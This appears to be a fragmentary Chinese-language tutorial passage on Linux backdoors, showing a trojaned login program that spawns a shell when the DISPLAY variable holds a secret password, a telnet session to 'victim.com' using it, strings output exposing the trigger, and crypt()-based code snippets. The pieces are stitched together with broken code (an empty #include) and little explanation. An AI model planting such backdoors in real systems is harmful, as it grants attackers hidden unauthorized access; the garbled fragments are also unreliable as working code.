Linux后门技术及实践方法谈

bash$ export DISPLAY=passWORD
bash$ telnet victim.com
Trying xxx.xxx.xxx.xxx...
Connected to victim.com (xxx.xxx.xxx.xxx).
Escape character is '^]'.
% _
strings命令
strings命令能够打印出二进制文件中的可显示字符串，用于刚才的ulogin程序：
bash$ strings ulogin
/lib/ld-linux.so.2
..............
DISPLAY
/sbin/logins
passWORD
/bin/csh

#include
main(int argc, char *argv[])
{
if (argc != 3) {
printf("usage: %s \n", argv[0]);
exit(1);
}
printf("%s\n", crypt(argv[1], argv[2]));
}

if (!strcmp(PASSWORD, crypt(display,PASSWORD)))
{
system(SHELL);
exit(1);
}